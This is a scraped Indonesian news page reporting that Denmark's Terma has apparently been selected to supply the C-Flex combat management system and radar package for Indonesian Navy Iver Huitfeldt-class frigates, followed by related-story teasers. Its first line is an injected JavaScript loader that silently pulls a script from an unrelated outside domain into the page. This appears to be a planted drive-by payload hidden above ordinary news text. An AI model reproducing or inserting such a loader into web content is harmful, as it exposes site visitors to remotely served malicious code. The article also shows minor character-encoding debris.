(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIANTAN.COM, JAKARTA – Alutsista nasional kembali mendapat kabar segar. Meski belum berupa kontrak efektif, namun Terma dari Denmark kabarnya telah terpilih untuk memasok Combat Management System (CMS) dan paket radar di frigat Iver Huitfeldt Class, yang kelak akan memperkuat Satuan kapal Eskorta TNI AL.Â
Meski terbilang baru sebagai pemasok teknologi dan sistem di lingkungan TNI AL, namun Terma secara perlahan telah memasok radar intai udara/permukaan di korvet Fatahillah Class, Kapal Cepat Rudal Sampari Class (termasuk CMS) dan kapal patroli KPLP Kemenhub RI.
C-Flex Combat Management System (CMS) dan paket radar Terma-Hensoldt terpilih untuk melengkapi fregat Iver Huitfeldt class untuk Indonesia. Demikian disampaikan sumber yang dekat dengan kalangan pengambil keputusan di Kementerian Pertahanan Indonesia. Paket CMS Terma C-Flex akan terdiri dari 16 konsol multi fungsi dan 3 layar lebar.
Konsol CMS C-Flex Terma Denmark. Foto: Terma
Pilihan atas CMS Terma C-Flex dari Denmark memang merupakan kejutan mengingat sebagian besar kapal surface combatant besar dan modern TNI AL menggunakan CMS Thales Tacticos, sebutlah fregat dan korvet Martadinata class (Thales-Tacticos), Diponegoro class (Thales-Tacticos), Bung Tomo class (Thales-Tacticos) serta Fatahillah class (campuran Thales-Tacticos dan Navantia-Catiz), artinya hampir semua menggunakan Thales Tacticos CMS.
CMS merupakan komponen utama Combat System suatu kapal perang. CMS mengintegrasikan sistem sensor dan sistem persenjataan sehingga dapat mempermudah operator CMS dalam mendeteksi, melokalisasi, mengklasifikasi, tracking, hingga penembakan sasaran secara terintegrasi.
Pengembangan C-Flex CMS bermula sejak 2001, ketika Angkatan Laut Kerajaan Denmark (RDN) pertama kali meminta upaya untuk meningkatkan CMS Angkatan Laut Denmark. Terma sebagai perusahaan Denmark menyambut tawaran ini dan telah berinvestasi secara signifikan dalam pengembangan CMS berdasarkan pada sistem Open Architecture dan sepenuhnya memanfaatkan berbagai sistem operasi dan komputer yang tersedia secara komersial.
Dengan demikian sistem dapat dipertahankan dan tetap up to date dengan adanya evolusi teknologi dengan harga yang terjangkau.
C-Flex berjalan pada platform perangkat lunak yang disebut T-Core, yang dikembangkan Terma sebagai platform untuk semua perintah dan sistem kontrol baik itu untuk AL, AD dan AU. T-Core memiliki semua fungsi dasar C4I yang diperlukan dalam sistem apa pun dan dirancang untuk memenuhi standar yang ditetapkan dalam
“US Navy Open Architecture Computing Capability and Environmentâ€. Aplikasi T-Core bahkan telah sukses digunakan pada AD Denmark dan AD Austria.
Terma C-Flex CMS telah dipakai oleh Angkatan Laut di beberapa negara, Untuk armada Surface Combatant tercatat dipakai pada 3 fregat Iver Huitfeldt class (Denmark), 1 fregat/destroyer Marasesti (Romania), dan 4 fast attack craft-missile KCR-60 class (Indonesia).
Untuk kapal bantu/ Auxilary Ship CMS ini sudah dipakai pada 2 kapal Absalon class (Denmark), 1 LPD Angthong (Thailand) dan 1 training vessel Sycamore (Australia).(kanalkalimantan.com/andy/rls)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.